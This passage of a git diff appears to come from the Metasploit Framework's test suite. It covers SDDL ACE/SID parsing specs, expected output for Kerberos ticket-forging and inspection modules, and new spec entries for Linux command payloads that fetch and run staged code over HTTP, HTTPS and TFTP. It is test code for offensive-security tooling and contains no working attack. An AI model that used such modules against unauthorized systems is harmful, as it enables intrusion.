domain_sid).header.ace_flags.inherited_ace).to eq 1 + end + + it 'sets the flag correctly for SA' do + expect(described_class.send(:parse_sddl_ace, 'A;SA;;;;', domain_sid: domain_sid).header.ace_flags.successful_access_ace_flag).to eq 1 + end + + it 'sets the flag correctly for FA' do + expect(described_class.send(:parse_sddl_ace, 'A;FA;;;;', domain_sid: domain_sid).header.ace_flags.failed_access_ace_flag).to eq 1 + end + + it 'sets the flag correctly for CR' do + expect(described_class.send(:parse_sddl_ace, 'A;CR;;;;', domain_sid: domain_sid).header.ace_flags.critical_ace_flag).to eq 1 + end + end + + context 'when parsing the ACE rights' do + it 'raises an exception on invalid rights' do + expect { described_class.send(:parse_sddl_ace, 'A;;XX;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no rights by default' do + expect(described_class.send(:parse_sddl_ace, 'A;;;;;', domain_sid: domain_sid).body.access_mask).to eq Rex::Proto::MsDtyp::MsDtypAccessMask::NONE + end + + %w[ GA GR GW GX ].each do |right| + it "sets the rights correctly for #{right}" do + expect(described_class.send(:parse_sddl_ace, "A;;#{right};;;", domain_sid: domain_sid).body.access_mask.send(right.downcase)).to eq 1 + end + end + + it 'sets the rights correctly for FA' do + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.protocol).to eq 0x1ff + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.de).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.rc).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.wd).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.wo).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.sy).to eq 1 + end + + it 'sets the rights correctly for KA' do + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.protocol).to eq 0x3f + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.de).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.rc).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.wd).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.wo).to eq 1 + end + end + + context 'when parsing the ACE object GUID' do + let (:dummy_guid) { SecureRandom.uuid } + + it 'raises an exception when the ACE type is incompatible' do + expect { described_class.send(:parse_sddl_ace, "A;;;#{dummy_guid};;", domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no object GUID by default' do + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.flags.ace_object_type_present).to eq 0 + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.object_type).to eq '00000000-0000-0000-0000-000000000000' + end + + it 'sets the object type' do + expect(described_class.send(:parse_sddl_ace, "OA;;;#{dummy_guid};;", domain_sid: domain_sid).body.flags.ace_object_type_present).to eq 1 + expect(described_class.send(:parse_sddl_ace, "OA;;;#{dummy_guid};;", domain_sid: domain_sid).body.object_type).to eq dummy_guid + end + end + + context 'when parsing the ACE inherited object GUID' do + let (:dummy_guid) { SecureRandom.uuid } + + it 'raises an exception when the ACE type is incompatible' do + expect { described_class.send(:parse_sddl_ace, "A;;;;#{dummy_guid};", domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no inherited object GUID by default' do + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.flags.ace_inherited_object_type_present).to eq 0 + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.inherited_object_type).to eq '00000000-0000-0000-0000-000000000000' + end + + it 'sets the inherited object type' do + expect(described_class.send(:parse_sddl_ace, "OA;;;;#{dummy_guid};", domain_sid: domain_sid).body.flags.ace_inherited_object_type_present).to eq 1 + expect(described_class.send(:parse_sddl_ace, "OA;;;;#{dummy_guid};", domain_sid: domain_sid).body.inherited_object_type).to eq dummy_guid + end + end + + context 'when parsing the ACE SID' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'calls .parse_sddl_sid' do + expect(described_class).to receive(:parse_sddl_sid).with(dummy_sid, domain_sid: domain_sid).and_call_original + expect(described_class.send(:parse_sddl_ace, "A;;;;;#{dummy_sid}", domain_sid: domain_sid).body.sid).to eq dummy_sid + end + end + end + + describe '.parse_sddl_sid' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'raises an exception on invalid SIDs' do + expect { described_class.send(:parse_sddl_sid, 'S-###', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'parses constant SID strings (AU)' do + expect(described_class.send(:parse_sddl_sid, 'AU', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'AU', domain_sid: domain_sid)).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses constant SID strings (DA)' do + expect(described_class.send(:parse_sddl_sid, 'DA', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'DA', domain_sid: domain_sid)).to eq "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ADMINS}" + end + + it 'parses constant SID strings (AU, case-insensitive)' do + expect(described_class.send(:parse_sddl_sid, 'au', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'au', domain_sid: domain_sid)).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses constant SID strings (DA, case-insensitive)' do + expect(described_class.send(:parse_sddl_sid, 'da', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'da', domain_sid: domain_sid)).to eq "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ADMINS}" + end + + it 'parses literal SID strings' do + expect(described_class.send(:parse_sddl_sid, dummy_sid, domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, dummy_sid, domain_sid: domain_sid)).to eq dummy_sid + end + end +end diff --git a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb index 2f864222e1892..80b7e549c1702 100644 --- a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb @@ -92,8 +92,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 32 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..1. .... Extra Sids: The EXTRA_SIDS bit is SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -104,11 +138,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-1266190811-2419310613-1856291569 Effective Name: 'Administrator' Full Name: '' diff --git a/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb b/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb index e088043a56b0b..7c828d93932f5 100644 --- a/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb @@ -512,8 +512,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 0 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -522,11 +556,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-3541430928-2051711210-1391384369 Effective Name: 'Administrator' Full Name: '' @@ -638,8 +702,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 0 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -648,11 +746,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-3541430928-2051711210-1391384369 Effective Name: 'Administrator' Full Name: '' diff --git a/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb b/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb index e374aca9ddf3f..cc3e2bd9496fe 100644 --- a/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/keytab_spec.rb @@ -295,9 +295,9 @@ def report_creds( kvno type principal hash date ---- ---- --------- ---- ---- - 1 18 (AES256) user_with_krbkey@demo.local 63346133663331643634616661363438613664303864303737363536336531323338623937366430623930663739656130373231393433363832393465393239 #{Time.parse('1970-01-01 01:00:00 +0100').to_time} 1 23 (RC4_HMAC) user_without_realm@ e02bc503339d51f71d913c245d35b50b #{Time.parse('1970-01-01 01:00:00 +0100').to_time} 1 23 (RC4_HMAC) user_with_realm@example.local 32ede47af254546a82b1743953cc4950 #{Time.parse('1970-01-01 01:00:00 +0100').to_time} + 1 18 (AES256) user_with_krbkey@demo.local 63346133663331643634616661363438613664303864303737363536336531323338623937366430623930663739656130373231393433363832393465393239 #{Time.parse('1970-01-01 01:00:00 +0100').to_time} TABLE end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 9ae92b58c4436..840a15d1ce78d 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -508,6 +508,78 @@ reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/linux/http/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/mips64' + ], + reference_name: 'cmd/linux/http/mips64' + end + + context 'cmd/linux/https/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/mips64' + ], + reference_name: 'cmd/linux/https/mips64' + end + + context 'cmd/linux/tftp/mips64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/mips64' + ], + reference_name: 'cmd/linux/tftp/mips64' + end + + context 'cmd/linux/http/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x64' + ], + reference_name: 'cmd/linux/http/x64' + end + + context 'cmd/linux/https/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x64' + ], + reference_name: 'cmd/linux/https/x64' + end + + context 'cmd/linux/tftp/x64' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/x64' + ], + reference_name: 'cmd/linux/tftp/x64' + end + + context 'cmd/linux/http/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/http/x86' + ], + reference_name: 'cmd/linux/http/x86' + end + + context 'cmd/linux/https/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/https/x86' + ], + reference_name: 'cmd/linux/https/x86' + end + + context 'cmd/linux/tftp/x86' do + it_should_behave_like 'payload is not cached', + ancestor_reference_names: [ + 'adapters/cmd/linux/tftp/x86' + ], + reference_name: 'cmd/linux/tftp/x86' + end + context 